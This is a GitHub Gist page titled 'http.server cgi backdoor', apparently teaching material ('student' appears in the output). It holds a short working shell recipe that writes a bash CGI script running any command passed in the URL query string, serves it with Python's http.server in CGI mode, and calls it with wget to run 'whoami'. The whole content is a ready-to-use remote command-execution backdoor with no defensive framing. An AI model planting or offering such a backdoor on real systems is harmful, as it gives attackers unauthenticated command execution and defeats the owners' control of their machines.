Created
November 14, 2020 18:22
-
-
Save MarkBaggett/38dcff6a0975f148aa858e924d64c492 to your computer and use it in GitHub Desktop.
http.server cgi backdoor
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
cd /tmp | |
mkdir cgi-bin | |
echo '#!/bin/bash' > ./cgi-bin/backdoor.cgi | |
echo 'echo -e "Content-Type: text/plain\n\n"' >> ./cgi-bin/backdoor.cgi | |
echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi | |
chmod +x ./cgi-bin/backdoor.cgi | |
python -m http.server --cgi | |
wget -q -O - "http://localhost:8000/cgi-bin/backdoor.cgi?whoami" | |
student |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment